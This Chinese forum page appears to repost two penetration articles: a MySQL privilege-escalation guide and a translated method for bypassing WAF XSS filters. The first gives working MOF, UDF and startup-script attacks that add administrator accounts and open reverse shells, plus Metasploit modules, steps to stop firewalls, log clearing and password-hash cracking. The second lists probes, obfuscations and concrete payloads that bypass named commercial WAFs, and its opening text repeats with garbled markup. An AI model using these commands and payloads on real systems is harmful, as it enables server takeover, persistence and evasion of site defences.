        1.2.3 文件包含: 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。
        1.2.4其他情况: 有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。
 1.3 mysql获取webshell
        1.3.1  phpmyadminroot账号获取webshell
   1. 3.2 sqlmap注入点获取webshell
 
1.4 mysql提权
        1.4.1    mof提权
1.Webshell上传mof文件提权
    MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
        方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
        方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
        方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的?WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!
    该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
        perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
    192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
2.生成nullevt.mof文件
    将以下代码保存为nullevt.mof文件:
        #pragma namespace("\\\\.\\root\\subscription")
        instance of __EventFilter as $EventFilter
        {
            EventNamespace = "Root\\Cimv2";
            Name = "filtP2";
            Query = "Select \ From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
            QueryLanguage = "WQL";
        };
        instance of ActiveScriptEventConsumer as $Consumer
        {
            Name = "consPCSV2";
            ScriptingEngine = "JScript";
            ScriptText =
            "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
        };
        instance of __FilterToConsumerBinding
        {
            Consumer = $Consumer;
            Filter = $EventFilter;
        };
3.通过Mysql查询将文件导入
    执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
    
selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof';
 1.4.2    msf直接mof提权
Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。
使用过程:
    use exploit/windows/mysql/mysql_mof
    set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
    set rport 3306 //设置mysql的远程端口
    set password root //设置mysql数据库root密码
    set username root //设置mysql用户名
    options //查看设置
    run 0
技巧:
    要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。
方法1:本地登入mysql,更改?mysql数据库里的?user?表里的?host项,将localhost改为%
    use mysql;
    update user set host = '%' where user = 'root';
    FLUSH PRIVILEGES ;
    select host, user from user;
方法2:直接授权(推荐)
    从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:
        # mysql -u root -proot
        GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
        FLUSH PRIVILEGES;
    推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。
 
1.4.3    UDF提权UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码
Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。
1.UDF提权条件   
    1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
    2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
    3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
    4. 可以将udf.dll写入到相应目录的权限。
2.提权方法        (1)获取数据库版本、数据位置以及插件位置等信息
            select version();//获取数据库版本
            select user();//获取数据库用户
            select @@basedir ;//获取安装目录
            show variables like '%plugins%'; //寻找mysql安装路径
    (2)导出路径
            C:\Winnt\udf.dll Windows 2000
            C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)
        MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。
        在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:
            select @@basedir; //查找到mysql的目录
            select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
            5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
            select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
            5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
        执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
    (3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:
        create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
    (4)执行命令:
        select sys_eval(‘whoami’);
        一般情况下不会出现创建不成功哦。连不上3389可以先停止windows防火墙和筛选
        select sys_eval(‘net stop policyagent’);
        select sys_eval(‘net stop sharedaccess’);
        udf.dll下常见函数:
            cmdshell 执行cmd;
            downloader 下载者,到网上下载指定文件并保存到指定目录;
            open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
            backshell 反弹Shell;
            ProcessView 枚举系统进程;
            KillProcess 终止指定进程;
            regread 读注册表;
            regwrite 写注册表;
            shut 关机,注销,重启;
            about 说明与帮助函数;
        具体用户示例: 
            select cmdshell('net user iis_user 123!@#abcABC /add');
            select cmdshell('net localgroup administrators iis_user /add');
            select cmdshell('regedit /s d:web3389.reg');
            select cmdshell('netstat -an');
    (5)清除痕迹
        drop function cmdshell;//将函数删除
        删除udf.dll文件以及其它相关入侵文件及日志。
    (6)常见错误
        1290 - The MySQL server is running with the --secure-file-priv option so it cannot 
        execute this statement
        在my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。
            1123 - Can't initialize function 'backshell';
            UDFs are unavailable with the --skip-grant-tables option
        需要将my.ini中的skip-grant-tables选项去掉。
3.webshell下udf提权
    通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。
4.Mysql提权综合利用工具
    v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:  
        (1)自动导出你的backdoor和mof文件
        (2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
        (3)导出LPK.dll文件,劫持系统目录提权
        (4)写启动项提权
    UdF自动提权:
        python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
    LPK劫持提权:
        python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
    启动项提权:
        python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst
    例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权
 1.4.4    无法获取webshell提权
1.连接mysql
    (1)mysql.exe -h ip -uroot -p
    (2)phpmyadmin
    (3)Navicat for MySQL
2.查看数据库版本和数据路径
    SELECT VERSION( );
    Select @@datadir;
    5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
    5.1以上版本 通过以下查询来获取插件路径:
    SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
    show variables like '%plugin%' ;
    select load_file('C:/phpStudy/Apache/conf/httpd.conf')
    select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
    select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3.修改mysql.txt
    Mysql.txt为udf.dll的二进制文件转成十六进制代码。
    (1)先执行导入ghost表中的内容
        修改以下代码的末尾代码 select backshell(“YourIP”,4444);
    (2)导出文件到某个目录
            select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
            select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
            select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
            select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
            select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
            select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
            select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
            select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
    (3)查看FUNCTION中是否存在cmdshell和backshell                    存在则删除:
                drop FUNCTION cmdshell;//删除cmdshell
                drop FUNCTION backshell;//删除backshell
            创建backshell:
                CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
            在具备独立主机的服务器上执行监听:
                nc -vv -l -p 44444
            执行查询:
                select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口
4.获取webshell后添加用户命令
    注意如果不能直接执行,则需要到c:\windows\system32\下执行
        net user antian365 www.xianzhi.aliyun.com /add
        net localgroup administrators antian365
 
1.4.5    sqlmap直连数据库提权Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:
    (1)连接数据库
            sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
    (2)选择操作系统的架构,32位操作系统选择1,64位选择2.
    (3)自动上传udf或提示os-shell
    (4)执行whomai命令如果获取系统权限,则表示提权成功。         
 
1.4.5    kali linux下的msfudf提权msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0或者exploit
 
msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。
=12pt    1.4.6    启动项提权
1.创建表并插入vbs脚本到表中,依次使用以下命令:
    show databases ;
    use test;
    show tables;
    create table a (cmd text);
    insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
    insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
    insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
    select \ from a;
 
2. 导出vbs脚本到启动
    使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。            select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单
        \\程序\\启动\\a.vbs";
    导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.
    推荐使用以下脚本
        show databases ;
        use test;
        show tables;
        create table b (cmd text);
        insert into b values ("net user Aspnet123545345! /add");
        insert into b values ("net localgroup administrators Aspnet /add");
        insert into b values ("del b.bat");
        select from b into outfile "C:\\Documents and Settings\\All Users\\ 「开始」菜单\\程序\\启动\\b.bat";
    该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件        说明:
        在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:
        select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";
        Windows 2008 Server的启动目录为:
            C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs
        其vbs方法可以参考如下写法:
            create table a (cmd text);
            insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
            insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
            insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
            select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
3.msf下模块exploit/windows/mysql/mysql_start_up提权
    use exploit/windows/mysql/mysql_start_up
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run
msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。
 
1.5    MSF其他相关漏洞提权
1.Mysql身份认证漏洞及利用(CVE-2012-2122)
    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
    MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
    MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/ mysql_authbypass_hashdump
2.exploit/windows/mysql/mysql_yassl_hello
3.exploit/windows/mysql/scrutinizer_upload_exec
 1.6    mysql密码破解
1.6.1    lcain工具破解密码
使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
注意:    
    1. root后面的“”不要复制到字符串中。
    2. 在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。
安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。 
1.6.2    网站在线密码破解1. cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。
2. somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码
 1.6.3    hashcat破解
hashcat支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令:
    hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型
    hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型
 1.6.4    Join the  Ripper  password cracker
John the Ripper下载地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。
    
        Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
        John –format =mysql-sha1 hashes.txt
        john --list=formats | grep mysql //查看支持mysql密码破解的算法

绕过WAF的XSS检测机制(转)

Web安全渗透wuyou 发表了文章 • 0 个评论 • 137 次浏览 • 2019-03-24 19:50 • 来自相关话题

 前言
本文提出了一种定义明确的方法来绕过跨站点脚本(XSS)安全机制,通过发送探针并编写payload用于检测恶意字符串的规则。拟议的方法包括三个阶段:确定payload结构,测试和混淆。
为给定上下文确定各种payload结构提供了最佳测试方法,下一阶段涉及针对目标安全机制测试各种字符串。分析目标响应情况以便做出假设。
最后,必要时可以将payload进行混淆或其他调整。
 
 介绍
跨站点脚本(XSS)是最常见的Web应用程序漏洞之一。通过清理用户输入,基于上下文转义输出,正确使用文档对象模型(DOM)接收器和源,实施适当的跨域资源共享(CORS)策略和其他安全策略,可以完全阻止它。尽管这些防御技术是公共知识,但Web应用程序防火墙(WAF)或自定义过滤器被广泛用于添加另一层安全性,以保护Web应用程序免受人为错误或新攻击媒介引入的漏洞的利用。虽然WAF供应商仍在尝试机器学习,但正则表达式仍然是最常用的检测恶意字符串的方法。本文提出了一种构建XSS payload的方法,该payload与这种安全机制使用的正则表达式不匹配。

 HTML CONTEXT
当用户输入被显示在网页的HTML代码中时,它被称为在HTML上下文中。 HTML上下文可以进一步根据显示位置划分为内标签和外标签。
内标签–<input type="text" value="$input">外标签–<span>You entered $input</span> 外标签此上下文的‘<'负责启动HTML标签。根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式:<svg [size=16]– 如果通过,则不进行任何标签检查[/size]<dev [size=16]– 如果失败, [/size]<[a-z]+x<dev [size=16]– 如果通过,[/size]^<[a-z]+<dEv[size=16] – 如果失败, [/size]<[a-zA-Z]+<d3V[size=16] – 如果失败, [/size]<[a-zA-Z0-9]+<d|3v[size=16] – 如果失败, [/size]<.+如果安全机制不允许这些探针,则不能绕过它。由于误报率高,这种严格的规则不被鼓励去使用。如果上述的任何一个探针未被禁止,则有许多编写payload的方案。   Payload方案#1<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}找到适当的{tag}值后,下一步是猜测用于匹配标签和事件处理程序之间填充符部分的正则表达式。此操作可以通过以下探针执行:<tag xxx[size=16] – 如果失败,[/size]{space}<tag%09xxx[size=16] – 如果失败,[/size][s]<tag%09%09xxx[size=16] -如果失败, [/size]s+<tag/xxx [size=16]– 如果失败,[/size][s/]+<tag%0axxx [size=16]-如果失败, [/size][sn]+<tag%0dxxx> [size=16]-如果失败, [/size][snr+]+<tag/~/xxx[size=16] – 如果失败, [/size].*+事件处理程序是payload结构中最重要的部分之一。它通常与种类的一般正则表达式onw+或黑名单相匹配,例如on(load|click|error|show)。第一个正则表达式非常严格且不可能被绕过,然而有些不太知名的事件处理程序可能不在黑名单中,经常可以被绕过。因此可以通过两个简单的检查来识别所使用的类型。<tag{filler}onxxx[size=16] – 如果失败,[/size]onw+[size=16]如果通过, [/size]on(load|click|error|show)<tag{filler}onclick[size=16] – 如果通过,则没有事件处理程序检查正则表达式。[/size]如果正则的结果是onw+,则不能绕过它,因为所有事件处理程序都以on开始。在这种情况下,应该继续下一个payload。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都列入黑名单,则应继续执行下一个payload。   根据我对WAF的经验,我发现一些事件处理程序没有在黑名单中:[code]onauxclickondblclickoncontextmenuonmouseleaveontouchcancel[/code]下一个要执行的组件是JavaScript代码。它是payload的活动部分,但是匹配它不需要假设正则表达式,因为JavaScript代码是活动的,因此无法通过预定义模式进行匹配。此时,payload的所有组件都放在一起,只需要关闭payload,通过以下方式完成:<payload><payload<payload{space}<payload//<payload%0a<payload%0d<payload%09应该注意的是,HTML规范允许<tag{white space}{anything here}>这表明例如:<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>是有效的HTML标签。因此,HTML标签的此属性使攻击者可以通过上述方式注入标签。 Payload方案#2<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}测试填充符(例如结束字符串)类似先前的payload方案。必须注意的是,? 可以在URL的末尾使用(如果在URL之后没有使用填充符),而不是结束标记。每个经过? 的字符都将被视为URL的一部分,直到遇到> 。通过使用<script>标记,很可能会被大多数安全规则检测到。标签<object>的payload可以用类似的payload方案编写:<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}  Payload方案#3这个payload方案有两种变体:plain和obfuscatable。plain变体通常与诸如href[s]{0,}=[s]{0,}javascript:模式相匹配。其结构如下:<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}obfuscatable payload变体有如下结构:<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}这两个变体之间的显著差异是{special}组件和{quote}s。{special}[size=16]指字符串[/size]javascript[size=16]的混淆版本,这可以使用换行符和水平制表符来混淆,如下所示:[/size]j%0aAv%0dasCr%09ipt:J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:在某些情况下,数字字符编码也可用于绕过检测。可以使用十进制和十六进制。Javascript&colon;javascript:显然有必要时两种混淆技术可以一起使用。Java%0a%0d%09script&colon;  可执行和不可执行上下文根据注入的payload是否可以在没有任何特殊帮助的情况下执行,外标签上下文可以进一步分为可执行和不可执行上下文。当用户输入显示在HTML注释中时,<--$input-->或者在以下标记之间,会发生不可执行的上下文:[code]<style><title><noembed><template><noscript><textarea>[/code]为了执行payload,必须关闭这些标签。因此测试可执行和非可执行上下文之间的唯一区别是{closing tag}组件的测试,可以按如下方式进行:</tag></tAg/x></tag{space}></tag//></tag%0a></tag%0d></tag%09>一旦发现有效的结束标签方案,{closing tag}{any payload from executable payload section} 就可以用于成功注入。  内部标签 在属性值内/作为属性值此上下文的主字符是用于包含属性值的引号。例如,如果输入被显示为<input value="$input" type="text">那么主字符应该是" 。 然而在某些情况下,主字符不需要突破上下文。 在事件处理程序内部如果输入显示在与事件处理程序关联的值中,例如,<tag event_handler="function($input)";触发事件处理程序将执行该值中存在的JavaScript。  在src属性里面如果输入被显示为src脚本或iframe标记的属性值,例如<script src="$input">,可以直接加载恶意脚本(在脚本标记的情况下)或网页(在iframe标记的情况下)如下:<script src="http://example.com/malicious.js">绕过URL匹配正则表达式://example.com/xss.js[size=16]绕过 [/size]http(?s)://////////example.com/xss.js[size=16]绕过[/size](?:http(?s):?)?//////\/example.com/xss.js[size=16]绕过 [/size](?:http(?s):?)?//+
 在srcdoc属性里面
如果输入被显示为srcdoc
iframe标签的属性值,例如<iframe srcdoc="$input">,可以提供一个转义(使用HTML实体)HTML文档作为payload,如下所示:<iframe srcdoc="<svg/onload=alert()>">
 通用属性
上述所有情况都不需要任何旁路技术,除了最后一个可以使用HTML上下文部分中使用的技术绕过。讨论的案例并不常见,最常见的类型如下:<input type="text" value=""/onfocus="alert()$input">
基于相关标签的交互性,它可以进而分为两类。

 可交互的
当输入显示在可以与例如点击,悬停,聚焦等交互的标签内时,突破上下文只需要引用一句话。在这种情况下的payload方案是:{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
可以使用以下探针完成检查是否被WAF阻止:x"y
事件处理程序在这里起着重要作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,并且由用户来查找这样的情况,但是有一些事件处理程序可以绑定到下面列出的任何标签:[code]onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
[/code]
测试其余组件可以使用前面已经讨论过的方法。

 难控制的
当输入显示在无法与之交互的标签内时,需要使用标签本身来执行payload。这种情况的payload方案是:{quote}>{any payload scheme from html context section}
 JavaScript上下文
 作为字符串变量
JavaScript上下文最常见的类型是字符串变量中的反射。这是因为开发人员通常将用户输入分配给变量而非直接使用它们。var name = '$input';
 Payload方案#1{quote}{delimiter}{javascript}{delimiter}{quote}
分隔符通常是JavaScipt运算符,诸如^ 。例如,如果用户输入落在单个带引号的字符串变量中,则payload可能是:[code]'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
[/code]

 Payload方案#2
{quote}{delimiter}{javascript}//
它与之前的payload方案类似,只是它使用单行注释来注释掉行中的其余代码以保持语法有效。可以使用的payload是:[code]'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
[/code]
 在代码块中
输入经常被显示到代码块中。例如,如果用户已付费订阅且超过18岁,则网页会执行某些操作。具有反射输入的JavaScript代码如下所示:[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
[/code]
假设我们没有为订阅付费。为了解决这个问题,我们需要绕过if (subscription)块,这可以通过关闭条件块,函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将显示如下:[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
[/code]
这里有个缩进视图用于了解payload的工作原理:function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
});[size=16]关闭当前的函数调用。[/size]第一个} 关闭if (age > 18)块。
第二个} 关闭if subscription块。alert();[size=16]用作测试的虚拟函数。[/size]if(true){[size=16]启动一个[/size]if [size=16]条件块以保持代码在语法上有效,因为代码后面有一个else块。[/size][size=16]最后,[/size]('[size=16]结合我们最初注入的函数调用的剩余部分。[/size]
它是您在wild遇到的最简单的代码块之一。为了简化打破代码块的过程,建议使用语法高亮显示器,例如Sublime Text。
payload的结构取决于代码本身,这种不确定性使得检测非常困难。但如果有需要,可以对代码进行混淆处理。例如,上面代码块的payload可以写成:');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
如果输入显示到JavaScript代码中,无论它是在代码块还是变量字符串中,</scRipT{?filler}>{html context payload}都可以用于突破上下文并执行payload。这个payload方案应该在其他所有方面之前尝试,因为它很简单但也可能被检测到。

 当前绕过WAF方案
在研究期间,共绕过了8个WAF。我对这些供应商进行了披露,因此一些(或所有)旁路可能因此被修补。以下是绕过的WAF名称,payload和旁路技术列表:
名称: Cloudflare
payload: <a"/onclick=(confirm)()>click
旁路技术:非空白填充
名称: Wordfence
Payload: <a/href=javascript&colon;alert()>click
旁路技术:数字字符编码
名称: Barracuda
Payload: <a/href=Java%0a%0d%09script&colon;alert()>click
旁路技术:数字字符编码
名称: Akamai
payload: <d3v/onauxclick=[2].some(confirm)>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: Comodo
Payload: <d3v/onauxclick=(((confirm)))``>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: F5
payload: <d3v/onmouseleave=[2].some(confirm)>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: ModSecurity
payload: <details/open/ontoggle=alert()>
旁路技术:黑名单中缺少标签(或事件处理程序)
名称: dotdefender
payload: <details/open/ontoggle=(confirm)()//
旁路技术:黑名单中缺少标签或函数调用混淆以及可替换的结束标签
转自:https://www.anquanke.com/post/id/173701 查看全部
 前言
本文提出了一种定义明确的方法来绕过跨站点脚本(XSS)安全机制,通过发送探针并编写payload用于检测恶意字符串的规则。拟议的方法包括三个阶段:确定payload结构,测试和混淆。
为给定上下文确定各种payload结构提供了最佳测试方法,下一阶段涉及针对目标安全机制测试各种字符串。分析目标响应情况以便做出假设。
最后,必要时可以将payload进行混淆或其他调整。
 
 介绍
跨站点脚本(XSS)是最常见的Web应用程序漏洞之一。通过清理用户输入,基于上下文转义输出,正确使用文档对象模型(DOM)接收器和源,实施适当的跨域资源共享(CORS)策略和其他安全策略,可以完全阻止它。尽管这些防御技术是公共知识,但Web应用程序防火墙(WAF)或自定义过滤器被广泛用于添加另一层安全性,以保护Web应用程序免受人为错误或新攻击媒介引入的漏洞的利用。虽然WAF供应商仍在尝试机器学习,但正则表达式仍然是最常用的检测恶意字符串的方法。本文提出了一种构建XSS payload的方法,该payload与这种安全机制使用的正则表达式不匹配。

 HTML CONTEXT
当用户输入被显示在网页的HTML代码中时,它被称为在HTML上下文中。 HTML上下文可以进一步根据显示位置划分为内标签和外标签。
  • 内标签–
    <input type="text" value="$input">
  • 外标签–
    <span>You entered $input</span>
 外标签此上下文的‘<'负责启动HTML标签。根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式:
  • <svg [size=16]– 如果通过,则不进行任何标签检查[/size]
  • <dev [size=16]– 如果失败, [/size]<[a-z]+
  • x<dev [size=16]– 如果通过,[/size]^<[a-z]+
  • <dEv[size=16] – 如果失败, [/size]<[a-zA-Z]+
  • <d3V[size=16] – 如果失败, [/size]<[a-zA-Z0-9]+
  • <d|3v[size=16] – 如果失败, [/size]<.+
如果安全机制不允许这些探针,则不能绕过它。由于误报率高,这种严格的规则不被鼓励去使用。如果上述的任何一个探针未被禁止,则有许多编写payload的方案。   Payload方案#1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到适当的{tag}值后,下一步是猜测用于匹配标签和事件处理程序之间填充符部分的正则表达式。此操作可以通过以下探针执行:
  • <tag xxx[size=16] – 如果失败,[/size]{space}
  • <tag%09xxx[size=16] – 如果失败,[/size][s]
  • <tag%09%09xxx[size=16] -如果失败, [/size]s+
  • <tag/xxx [size=16]– 如果失败,[/size][s/]+
  • <tag%0axxx [size=16]-如果失败, [/size][sn]+
  • <tag%0dxxx> [size=16]-如果失败, [/size][snr+]+
